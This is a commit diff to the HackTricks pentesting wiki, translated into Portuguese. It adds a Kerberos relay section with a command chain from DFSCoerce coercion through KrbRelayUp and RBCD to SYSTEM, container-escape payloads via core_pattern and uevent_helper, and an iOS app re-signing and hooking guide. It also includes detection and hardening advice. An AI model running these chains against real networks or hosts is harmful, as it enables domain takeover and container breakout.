Translated ['src/generic-methodologies-and-resources/pentesting-network/

2025-10-10 18:36:50 +00:00 · 2025-05-11 15:15:30 +00:00 · 2025-05-11 15:15:30 +00:00 · b3f7a3d674
commit b3f7a3d674
parent 07e1eca8c4
5 changed files with 241 additions and 47 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -316,6 +316,7 @@
  - [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md)
    - [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md)
  - [Exploiting a debuggeable application](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md)
+  - [Flutter](mobile-pentesting/android-app-pentesting/flutter.md)
  - [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md)
    - [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md)
    - [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md)
@ -342,6 +343,7 @@
  - [iOS Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md)
  - [iOS Frida Configuration](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md)
  - [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md)
+  - [iOS Pentesting withuot Jailbreak](mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md)
  - [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md)
  - [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md)
  - [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md)
--- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
+++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -8,7 +8,7 @@

 - **LLMNR, NBT-NS e mDNS**:
 - Microsoft e outros sistemas operacionais usam LLMNR e NBT-NS para resolução de nomes local quando o DNS falha. Da mesma forma, sistemas Apple e Linux usam mDNS.
- Esses protocolos são suscetíveis à interceptação e spoofing devido à sua natureza não autenticada e de broadcast sobre UDP.
+- Esses protocolos são suscetíveis a interceptação e spoofing devido à sua natureza não autenticada e de broadcast sobre UDP.
 - [Responder](https://github.com/lgandx/Responder) pode ser usado para impersonar serviços enviando respostas forjadas para hosts que consultam esses protocolos.
 - Mais informações sobre a impersonação de serviços usando Responder podem ser encontradas [aqui](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).

@ -60,18 +60,18 @@ Ou executado como um binário C#:
 ```bash
 Inveigh.exe
 ```
-### Ataque de Revezamento NTLM
+### NTLM Relay Attack

-Este ataque aproveita as sessões de autenticação SMB para acessar uma máquina alvo, concedendo um shell de sistema se for bem-sucedido. Os pré-requisitos principais incluem:
+Este ataque aproveita sessões de autenticação SMB para acessar uma máquina alvo, concedendo um shell de sistema se for bem-sucedido. Os principais pré-requisitos incluem:

- O usuário autenticado deve ter acesso de Administrador Local no host revezado.
+- O usuário autenticado deve ter acesso de Admin Local no host retransmitido.
 - A assinatura SMB deve estar desativada.

-#### Encaminhamento e Tunelamento da Porta 445
+#### 445 Port Forwarding and Tunneling

-Em cenários onde a introdução direta na rede não é viável, o tráfego na porta 445 precisa ser encaminhado e tunelado. Ferramentas como [**PortBender**](https://github.com/praetorian-inc/PortBender) ajudam a redirecionar o tráfego da porta 445 para outra porta, o que é essencial quando o acesso de administrador local está disponível para carregamento de driver.
+Em cenários onde a introdução direta na rede não é viável, o tráfego na porta 445 precisa ser redirecionado e tunelado. Ferramentas como [**PortBender**](https://github.com/praetorian-inc/PortBender) ajudam a redirecionar o tráfego da porta 445 para outra porta, o que é essencial quando o acesso de admin local está disponível para carregamento de driver.

-Configuração e operação do PortBender no Cobalt Strike:
+PortBender setup and operation in Cobalt Strike:
 ```bash
 Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

@ -90,7 +90,7 @@ beacon> socks stop
 ### Outras Ferramentas para Ataque de Relay NTLM

 - **Metasploit**: Configurado com proxies, detalhes de hosts locais e remotos.
- **smbrelayx**: Um script Python para relatar sessões SMB e executar comandos ou implantar backdoors.
+- **smbrelayx**: Um script em Python para relatar sessões SMB e executar comandos ou implantar backdoors.
 - **MultiRelay**: Uma ferramenta do conjunto Responder para relatar usuários específicos ou todos os usuários, executar comandos ou despejar hashes.

 Cada ferramenta pode ser configurada para operar através de um proxy SOCKS, se necessário, permitindo ataques mesmo com acesso indireto à rede.
@ -115,6 +115,109 @@ No Windows, você **pode ser capaz de forçar algumas contas privilegiadas a se
 ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
 {{#endref}}

+## Ataque de Relay Kerberos
+
+Um **ataque de relay Kerberos** rouba um **ticket AP-REQ** de um serviço e o reutiliza contra um segundo serviço que compartilha a **mesma chave de conta de computador** (porque ambos os SPNs estão na mesma conta de máquina `$`). Isso funciona mesmo que as **classes de serviço dos SPNs diferem** (por exemplo, `CIFS/` → `LDAP/`) porque a *chave* que descriptografa o ticket é o hash NT da máquina, não a string SPN em si, e a string SPN não faz parte da assinatura.
+
+Ao contrário do relay NTLM, o salto é limitado ao *mesmo host*, mas, se você direcionar um protocolo que permite escrever no LDAP, pode encadear em **Delegação Constrangida Baseada em Recurso (RBCD)** ou **inscrição AD CS** e comprometer **NT AUTHORITY\SYSTEM** em um único golpe.
+
+Para informações detalhadas sobre este ataque, verifique:
+
+- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
+- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
+
+- 1. **Noções básicas sobre Kerberos**
+
+| Token | Propósito | Relevância do Relay |
+|-------|---------|-----------------|
+| **TGT / AS-REQ ↔ REP** | Prova o usuário para o KDC | intocado |
+| **Ticket de serviço / TGS-REQ ↔ REP** | Vinculado a um **SPN**; criptografado com a chave do proprietário do SPN | intercambiável se os SPNs compartilharem conta |
+| **AP-REQ** | Cliente envia `TGS` para o serviço | **o que roubamos e reproduzimos** |
+
+* Os tickets são criptografados com a **chave derivada da senha da conta que possui o SPN**.
+* O **Autenticador** dentro do AP-REQ tem um timestamp de 5 minutos; a reprodução dentro dessa janela é válida até que o cache do serviço veja um duplicado.
+* O Windows raramente verifica se a string SPN no ticket corresponde ao serviço que você acessa, então um ticket para `CIFS/HOST` normalmente descriptografa bem em `LDAP/HOST`.
+
+- 2. **O que deve ser verdade para relatar Kerberos**
+
+1. **Chave compartilhada:** SPNs de origem e destino pertencem à mesma conta de computador (padrão em servidores Windows).
+2. **Sem proteção de canal:** SMB/LDAP desativado e EPA desativado para HTTP/LDAPS.
+3. **Você pode interceptar ou coagir a autenticação:** envenenamento LLMNR/NBNS, spoofing DNS, **PetitPotam / DFSCoerce RPC**, AuthIP falso, DCOM malicioso, etc.
+4. **Fonte do ticket não utilizada:** você vence a corrida antes que o pacote real chegue ou bloqueia completamente; caso contrário, o cache de reprodução do servidor dispara o Evento 4649.
+5. Você precisa de alguma forma ser capaz de realizar um **MitM na comunicação**, talvez fazendo parte do grupo DNSAmins para modificar o DNS do domínio ou sendo capaz de alterar o arquivo HOST da vítima.
+
+### Etapas do Relay Kerberos
+
+- 3.1 **Reconhecer o host**
+```powershell
+# find servers where HTTP, LDAP or CIFS share the same machine account
+Get-ADComputer -Filter * -Properties servicePrincipalName |
+Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
+Select Name,servicePrincipalName
+```
+- 3.2 **Inicie o ouvinte de relay**
+
+[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
+```powershell
+# one-click local SYSTEM via RBCD
+.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
+```
+`KrbRelayUp` envolve **KrbRelay → LDAP → RBCD → Rubeus → bypass do SCM** em um único binário.
+
+- 3.3 **Forçar autenticação Kerberos**
+```powershell
+# coerce DC to auth over SMB with DFSCoerce
+.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
+```
+DFSCoerce faz com que o DC envie um ticket Kerberos `CIFS/DC01` para nós.
+
+- 3.4 **Revezar o AP-REQ**
+
+KrbRelay extrai o blob GSS do SMB, o reorganiza em um bind LDAP e o encaminha para `ldap://DC01`—a autenticação é bem-sucedida porque a **mesma chave** o descriptografa.
+
+- 3.5 **Abusar LDAP ➜ RBCD ➜ SYSTEM**
+```powershell
+# (auto inside KrbRelayUp) manual for clarity
+New-MachineAccount -Name "FAKE01" -Password "P@ss123"
+KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
+Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
+SCMUACBypass.exe
+```
+Você agora possui **NT AUTHORITY\SYSTEM**.
+
+### **Mais caminhos que vale a pena conhecer**
+
+| Vetor | Truque | Por que isso importa |
+|-------|--------|---------------------|
+| **AuthIP / IPSec** | Servidor falso envia um **payload GSS-ID** com qualquer SPN; cliente constrói um AP-REQ diretamente para você | Funciona mesmo entre sub-redes; credenciais da máquina por padrão |
+| **DCOM / MSRPC** | Resolvedor OXID malicioso força o cliente a autenticar em SPN e porta arbitrários | Elevação de privilégio *local* pura; contorna firewall |
+| **AD CS Web Enroll** | Revezar o ticket da máquina para `HTTP/CA` e obter um certificado, então **PKINIT** para gerar TGTs | Contorna defesas de assinatura LDAP |
+| **Credenciais Sombra** | Escrever `msDS-KeyCredentialLink`, então PKINIT com par de chaves forjado | Não é necessário adicionar uma conta de computador |
+
+### **Solução de Problemas**
+
+| Erro | Significado | Correção |
+|------|-------------|----------|
+| `KRB_AP_ERR_MODIFIED` | Chave do ticket ≠ chave do alvo | Host/SPN errado |
+| `KRB_AP_ERR_SKEW` | Desvio de relógio > 5 min | Sincronizar hora ou usar `w32tm` |
+| Falha na ligação LDAP | Assinatura aplicada | Usar caminho AD CS ou desativar assinatura |
+| Spam de Evento 4649 | Serviço viu autenticador duplicado | bloquear ou competir com o pacote original |
+
+### **Detecção**
+
+* Aumento em **Evento 4769** para `CIFS/`, `HTTP/`, `LDAP/` da mesma fonte em segundos.
+* **Evento 4649** no serviço indica replay detectado.
+* Logon Kerberos de **127.0.0.1** (revezar para SCM local) é altamente suspeito—mapear via regra Sigma na documentação do KrbRelayUp.
+* Monitorar mudanças nos atributos `msDS-AllowedToActOnBehalfOfOtherIdentity` ou `msDS-KeyCredentialLink`.
+
+## **Fortalecimento**
+
+1. **Impor assinatura LDAP e SMB + EPA** em todos os servidores.
+2. **Dividir SPNs** para que HTTP não esteja na mesma conta que CIFS/LDAP.
+3. Corrigir vetores de coerção (PetitPotam KB5005413, DFS, AuthIP).
+4. Definir **`ms-DS-MachineAccountQuota = 0`** para impedir junções de computadores indesejados.
+5. Alertar sobre **Evento 4649** e logons Kerberos de loopback inesperados.
+
 ## Referências

 - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
--- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
@ -15,16 +15,28 @@ Este diretório permite o acesso para modificar variáveis do kernel, geralmente
 #### **`/proc/sys/kernel/core_pattern`**

 - Descrito em [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
- Permite definir um programa a ser executado na geração de arquivos de core, com os primeiros 128 bytes como argumentos. Isso pode levar à execução de código se o arquivo começar com um pipe `|`.
+- Se você puder escrever dentro deste arquivo, é possível escrever um pipe `|` seguido pelo caminho para um programa ou script que será executado após uma falha.
+- Um atacante pode encontrar o caminho dentro do host para seu contêiner executando `mount` e escrever o caminho para um binário dentro do sistema de arquivos de seu contêiner. Em seguida, causar uma falha em um programa para fazer o kernel executar o binário fora do contêiner.
+
 - **Exemplo de Teste e Exploração**:
-
 ```bash
-[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Testar acesso de escrita
+[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
 cd /proc/sys/kernel
-echo "|$overlay/shell.sh" > core_pattern # Definir manipulador personalizado
-sleep 5 && ./crash & # Acionar manipulador
+echo "|$overlay/shell.sh" > core_pattern # Set custom handler
+sleep 5 && ./crash & # Trigger handler
 ```
+Verifique [este post](https://pwning.systems/posts/escaping-containers-for-fun/) para mais informações.

+Exemplo de programa que trava:
+```c
+int main(void) {
+char buf[1];
+for (int i = 0; i < 100; i++) {
+buf[i] = 1;
+}
+return 0;
+}
+```
 #### **`/proc/sys/kernel/modprobe`**

 - Detalhado em [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
@ -38,20 +50,20 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Verificar acesso ao modprobe
 #### **`/proc/sys/vm/panic_on_oom`**

 - Referenciado em [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Uma flag global que controla se o kernel entra em pânico ou invoca o OOM killer quando ocorre uma condição de OOM.
+- Uma flag global que controla se o kernel entra em pânico ou invoca o OOM killer quando uma condição de OOM ocorre.

 #### **`/proc/sys/fs`**

- Conforme [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contém opções e informações sobre o sistema de arquivos.
- O acesso de escrita pode permitir vários ataques de negação de serviço contra o host.
+- De acordo com [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contém opções e informações sobre o sistema de arquivos.
+- O acesso de gravação pode permitir vários ataques de negação de serviço contra o host.

 #### **`/proc/sys/fs/binfmt_misc`**

 - Permite registrar interpretadores para formatos binários não nativos com base em seu número mágico.
- Pode levar à escalada de privilégios ou acesso a shell root se `/proc/sys/fs/binfmt_misc/register` for gravável.
+- Pode levar à escalada de privilégios ou acesso ao shell root se `/proc/sys/fs/binfmt_misc/register` for gravável.
 - Exploit relevante e explicação:
 - [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- Tutorial aprofundado: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
+- Tutorial detalhado: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)

 ### Outros em `/proc`

@ -71,13 +83,13 @@ echo b > /proc/sysrq-trigger # Reinicializa o host

 #### **`/proc/kmsg`**

- Exibe mensagens do buffer de anel do kernel.
- Pode ajudar em exploits do kernel, vazamentos de endereços e fornecer informações sensíveis do sistema.
+- Expõe mensagens do buffer de anel do kernel.
+- Pode ajudar em exploits de kernel, vazamentos de endereços e fornecer informações sensíveis do sistema.

 #### **`/proc/kallsyms`**

 - Lista símbolos exportados do kernel e seus endereços.
- Essencial para o desenvolvimento de exploits do kernel, especialmente para superar KASLR.
+- Essencial para o desenvolvimento de exploits de kernel, especialmente para superar KASLR.
 - As informações de endereço são restritas com `kptr_restrict` definido como `1` ou `2`.
 - Detalhes em [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).

@ -85,11 +97,11 @@ echo b > /proc/sysrq-trigger # Reinicializa o host

 - Interface com o dispositivo de memória do kernel `/dev/mem`.
 - Historicamente vulnerável a ataques de escalada de privilégios.
- Mais sobre [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
+- Mais em [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).

 #### **`/proc/kcore`**

- Representa a memória física do sistema em formato ELF core.
+- Representa a memória física do sistema no formato ELF core.
 - A leitura pode vazar conteúdos de memória do sistema host e de outros contêineres.
 - O grande tamanho do arquivo pode levar a problemas de leitura ou falhas de software.
 - Uso detalhado em [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
@ -97,29 +109,29 @@ echo b > /proc/sysrq-trigger # Reinicializa o host
 #### **`/proc/kmem`**

 - Interface alternativa para `/dev/kmem`, representando a memória virtual do kernel.
- Permite leitura e escrita, portanto, modificação direta da memória do kernel.
+- Permite leitura e gravação, portanto, modificação direta da memória do kernel.

 #### **`/proc/mem`**

 - Interface alternativa para `/dev/mem`, representando a memória física.
- Permite leitura e escrita, a modificação de toda a memória requer a resolução de endereços virtuais para físicos.
+- Permite leitura e gravação, a modificação de toda a memória requer a resolução de endereços virtuais para físicos.

 #### **`/proc/sched_debug`**

 - Retorna informações de agendamento de processos, contornando as proteções do namespace PID.
- Exibe nomes de processos, IDs e identificadores de cgroup.
+- Expõe nomes de processos, IDs e identificadores de cgroup.

 #### **`/proc/[pid]/mountinfo`**

 - Fornece informações sobre pontos de montagem no namespace de montagem do processo.
- Exibe a localização do `rootfs` ou imagem do contêiner.
+- Expõe a localização do `rootfs` ou imagem do contêiner.

-### Vulnerabilidades do `/sys`
+### Vulnerabilidades em `/sys`

 #### **`/sys/kernel/uevent_helper`**

 - Usado para manipular `uevents` de dispositivos do kernel.
- Escrever em `/sys/kernel/uevent_helper` pode executar scripts arbitrários ao acionar `uevent`.
+- Gravar em `/sys/kernel/uevent_helper` pode executar scripts arbitrários ao serem acionados `uevent`.
 - **Exemplo de Exploração**: %%%bash

 #### Cria um payload
@ -130,7 +142,7 @@ echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /ev

 host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab)

-#### Define uevent_helper para o helper malicioso
+#### Define uevent_helper para helper malicioso

 echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

@ -157,17 +169,17 @@ cat /output %%%

 #### **`/sys/firmware/efi/vars` e `/sys/firmware/efi/efivars`**

- Expondo interfaces para interagir com variáveis EFI na NVRAM.
- A má configuração ou exploração pode levar a laptops brickados ou máquinas host não inicializáveis.
+- Expõe interfaces para interagir com variáveis EFI na NVRAM.
+- Configuração inadequada ou exploração pode levar a laptops brickados ou máquinas host não inicializáveis.

 #### **`/sys/kernel/debug`**

 - `debugfs` oferece uma interface de depuração "sem regras" para o kernel.
 - Histórico de problemas de segurança devido à sua natureza irrestrita.

-### Vulnerabilidades do `/var`
+### Vulnerabilidades em `/var`

-A pasta **/var** do host contém sockets de tempo de execução do contêiner e os sistemas de arquivos dos contêineres. Se esta pasta for montada dentro de um contêiner, esse contêiner terá acesso de leitura e gravação aos sistemas de arquivos de outros contêineres com privilégios de root. Isso pode ser abusado para pivotar entre contêineres, causar uma negação de serviço ou backdoor em outros contêineres e aplicativos que são executados neles.
+A pasta **/var** do host contém sockets de tempo de execução de contêiner e os sistemas de arquivos dos contêineres. Se esta pasta estiver montada dentro de um contêiner, esse contêiner terá acesso de leitura e gravação aos sistemas de arquivos de outros contêineres com privilégios de root. Isso pode ser abusado para pivotar entre contêineres, causar uma negação de serviço ou backdoor em outros contêineres e aplicativos que rodam neles.

 #### Kubernetes

@ -253,7 +265,7 @@ drwx--x---  4 root root  4096 Jan  9 21:22 062f14e5adbedce75cea699828e22657c8044
 ```
 #### Nota

-Os caminhos reais podem diferir em diferentes configurações, por isso a melhor opção é usar o comando **find** para localizar os sistemas de arquivos de outros contêineres e tokens de identidade SA / web.
+Os caminhos reais podem diferir em diferentes configurações, por isso sua melhor aposta é usar o comando **find** para localizar os sistemas de arquivos de outros contêineres e tokens de identidade SA / web.

 ### Referências

--- a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md
+++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md
@ -0,0 +1,73 @@
+# iOS Pentesting without Jailbreak
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Ideia principal
+
+Aplicativos assinados com a **entitlement `get_task_allow`** permitem que aplicativos de terceiros executem uma função chamada **`task_for_pid()`** com o ID do processo do aplicativo inicial como argumento para obter a porta da tarefa sobre ele (ser capaz de controlá-lo e acessar sua memória).
+
+No entanto, não é tão fácil quanto apenas puxar o IPA, re-assiná-lo com a entitlement e reinstalá-lo no seu dispositivo. Isso se deve à proteção FairPlay. Quando a assinatura do aplicativo muda, a chave DRM (Digital Rights Management) é **invalidada e o aplicativo não funcionará**.
+
+Com um dispositivo antigo com jailbreak, é possível instalar o IPA, **descriptografá-lo usando sua ferramenta favorita** (como Iridium ou frida-ios-dump) e retirá-lo do dispositivo. Embora, se possível, é recomendado pedir ao cliente o IPA descriptografado.
+
+## Obter IPA descriptografado
+
+### Obtenha da Apple
+
+1. Instale o aplicativo para pentest no iPhone
+2. Instale e inicie o [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) no seu macos
+3. Abra o `Terminal` no seu Mac e vá para `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. O IPA aparecerá nesta pasta mais tarde.
+4. Você deve ver seu dispositivo iOS. Clique duas vezes nele e, em seguida, clique em Adicionar + → Apps na barra de menu superior.
+5. Após clicar em Adicionar, o Configurator fará o download do IPA da Apple e tentará enviá-lo para o seu dispositivo. Se você seguiu minha recomendação anterior e já instalou o IPA, um aviso pedindo para reinstalar o aplicativo aparecerá.
+6. O IPA deve ser baixado dentro de `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`, de onde você pode pegá-lo.
+
+Verifique [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) para mais informações detalhadas sobre esse processo.
+
+### Descriptografando o aplicativo
+
+Para descriptografar o IPA, vamos instalá-lo. No entanto, se você tiver um iPhone antigo com jailbreak, potencialmente sua versão não será suportada pelo aplicativo, pois geralmente os aplicativos só suportam as versões mais recentes.
+
+Portanto, para instalá-lo, basta descompactar o IPA:
+```bash
+unzip redacted.ipa -d unzipped
+```
+Verifique o `Info.plist` para a versão mínima suportada e, se o seu dispositivo for mais antigo do que isso, altere o valor para que seja suportado.
+
+Compacte novamente o IPA:
+```bash
+cd unzipped
+zip -r ../no-min-version.ipa *
+```
+Então, instale o IPA, por exemplo, com:
+```bash
+ideviceinstaller -i no-min-version.ipa -w
+```
+Note que você pode precisar do **AppSync Unified tweak** do Cydia para evitar erros de `invalid signature`.
+
+Uma vez instalado, você pode usar o **Iridium tweak** do Cydia para obter o IPA descriptografado.
+
+
+### Patch de permissões & re-assinatura
+
+Para re-assinar o aplicativo com a permissão `get-task-allow`, existem várias ferramentas disponíveis, como `app-signer`, `codesign` e `iResign`. O `app-signer` possui uma interface muito amigável que permite re-assinar um arquivo IPA de forma muito fácil, indicando o IPA a ser re-assinado, para **colocá-lo como `get-task-allow`** e o certificado e perfil de provisionamento a serem usados.
+
+Quanto ao certificado e perfis de assinatura, a Apple oferece **perfis de assinatura de desenvolvedor gratuitos** para todas as contas através do Xcode. Basta criar um aplicativo e configurar um. Em seguida, configure o **iPhone para confiar nos aplicativos do desenvolvedor** navegando até `Settings` → `Privacy & Security`, e clique em `Developer Mode`.
+
+
+Com o IPA re-assinado, é hora de instalá-lo no dispositivo para pentestá-lo:
+```bash
+ideviceinstaller -i resigned.ipa -w
+```
+### Hook
+
+Você pode facilmente hook seu aplicativo usando ferramentas comuns como frida e objection:
+```bash
+objection -g [your app bundle ID] explore
+
+```
+## Referências
+
+- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
+
+
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md
+++ b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md
@ -35,7 +35,7 @@ Para abrir o simulador, execute o Xcode, depois pressione na _aba Xcode_ --> _Op

 ![](<../../images/image (520).png>)

-### Aplicativos no Simulador
+### Applications in the Simulator

 Dentro de `/Users/<username>/Library/Developer/CoreSimulator/Devices`, você pode encontrar todos os **simuladores instalados**. Se você quiser acessar os arquivos de um aplicativo criado dentro de um dos emuladores, pode ser difícil saber **em qual deles o aplicativo está instalado**. Uma maneira rápida de **encontrar o UID correto** é executar o aplicativo no simulador e executar:
 ```bash
@ -54,18 +54,22 @@ Corellium é o único emulador iOS disponível publicamente. É uma solução Sa

 ## Sem Jailbreak necessário

-Confira este post no blog sobre como fazer pentesting em um aplicativo iOS em um **dispositivo não jailbreakado**: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
+Confira este post no blog sobre como fazer pentesting em um aplicativo iOS em um **dispositivo não jailbreak**:
+
+{{#ref}}
+ios-pentesting-without-jailbreak.md
+{{#endref}}

 ## Jailbreaking

-A Apple exige estritamente que o código executado no iPhone deve ser **assinado por um certificado emitido pela Apple**. **Jailbreaking** é o processo de **contornar ativamente tais restrições** e outros controles de segurança impostos pelo sistema operacional. Portanto, uma vez que o dispositivo é jailbreakado, a **verificação de integridade** responsável por verificar os aplicativos instalados é corrigida, então é **contornada**.
+A Apple exige estritamente que o código executado no iPhone deve ser **assinado por um certificado emitido pela Apple**. **Jailbreaking** é o processo de **contornar ativamente tais restrições** e outros controles de segurança impostos pelo sistema operacional. Portanto, uma vez que o dispositivo é jailbreak, a **verificação de integridade** responsável por verificar os aplicativos instalados é corrigida, de modo que é **contornada**.

 > [!NOTE]
 > Ao contrário do Android, **você não pode mudar para "Modo Desenvolvedor"** no iOS para executar código não assinado/não confiável no dispositivo.

 ### Rooting Android vs. Jailbreaking iOS

-Embora frequentemente comparados, **rooting** no Android e **jailbreaking** no iOS são processos fundamentalmente diferentes. O rooting de dispositivos Android pode envolver **instalar o binário `su`** ou **substituir o sistema por um ROM personalizado com root**, o que não necessariamente requer exploits se o bootloader estiver desbloqueado. **Flashing de ROMs personalizadas** substitui o sistema operacional do dispositivo após desbloquear o bootloader, às vezes exigindo um exploit.
+Embora frequentemente comparados, **rooting** no Android e **jailbreaking** no iOS são processos fundamentalmente diferentes. O rooting de dispositivos Android pode envolver **instalar o binário `su`** ou **substituir o sistema por um ROM personalizado com root**, o que não requer necessariamente exploits se o bootloader estiver desbloqueado. **Flashing de ROMs personalizadas** substitui o sistema operacional do dispositivo após desbloquear o bootloader, às vezes exigindo um exploit.

 Em contraste, dispositivos iOS não podem flashar ROMs personalizadas devido à restrição do bootloader de apenas inicializar imagens assinadas pela Apple. **Jailbreaking iOS** visa contornar as proteções de assinatura de código da Apple para executar código não assinado, um processo complicado pelas contínuas melhorias de segurança da Apple.

@ -78,13 +82,13 @@ As atualizações do iOS são controladas por um **mecanismo de desafio-resposta
 ### Variedades de Jailbreak

 - **Jailbreaks tethered** requerem uma conexão com o computador para cada reinicialização.
- **Jailbreaks semi-tethered** permitem inicializar em modo não jailbreakado sem um computador.
+- **Jailbreaks semi-tethered** permitem inicializar em modo não jailbreak sem um computador.
 - **Jailbreaks semi-untethered** requerem re-jailbreaking manual sem precisar de um computador.
 - **Jailbreaks untethered** oferecem uma solução de jailbreak permanente sem a necessidade de reaplicação.

 ### Ferramentas e Recursos de Jailbreaking

-As ferramentas de jailbreaking variam por versão do iOS e dispositivo. Recursos como [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com) e [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) fornecem informações atualizadas. Exemplos incluem:
+As ferramentas de jailbreaking variam de acordo com a versão do iOS e o dispositivo. Recursos como [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com) e [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) fornecem informações atualizadas. Exemplos incluem:

 - [Checkra1n](https://checkra.in/) para dispositivos com chip A7-A11.
 - [Palera1n](https://palera.in/) para dispositivos Checkm8 (A8-A11) no iOS 15.0-16.5.
@ -94,7 +98,7 @@ Modificar seu dispositivo traz riscos, e o jailbreaking deve ser abordado com ca

 ### Benefícios e Riscos do Jailbreaking

-O jailbreaking **remove o sandboxing imposto pelo sistema operacional**, permitindo que os aplicativos acessem todo o sistema de arquivos. Essa liberdade possibilita a instalação de aplicativos não aprovados e acesso a mais APIs. No entanto, para usuários regulares, o jailbreaking **não é recomendado** devido a potenciais riscos de segurança e instabilidade do dispositivo.
+O jailbreaking **remove o sandboxing imposto pelo OS**, permitindo que os aplicativos acessem todo o sistema de arquivos. Essa liberdade possibilita a instalação de aplicativos não aprovados e acesso a mais APIs. No entanto, para usuários regulares, o jailbreaking **não é recomendado** devido a potenciais riscos de segurança e instabilidade do dispositivo.

 ### **Após o Jailbreaking**

@ -104,11 +108,11 @@ basic-ios-testing-operations.md

 ### **Detecção de Jailbreak**

-**Vários aplicativos tentarão detectar se o celular está jailbreakado e, nesse caso, o aplicativo não será executado**
+**Vários aplicativos tentarão detectar se o celular está jailbreak e, nesse caso, o aplicativo não será executado**

- Após o jailbreak, um iOS **arquivos e pastas geralmente são instalados**, estes podem ser pesquisados para determinar se o dispositivo está jailbreakado.
- Em um dispositivo jailbreakado, os aplicativos obtêm **acesso de leitura/gravação a novos arquivos** fora do sandbox.
- Algumas **chamadas de API** **comportar-se-ão de maneira diferente**.
+- Após o jailbreak, um **arquivos e pastas geralmente são instalados**, estes podem ser pesquisados para determinar se o dispositivo está jailbreak.
+- Em um dispositivo jailbreak, os aplicativos obtêm **acesso de leitura/gravação a novos arquivos** fora do sandbox.
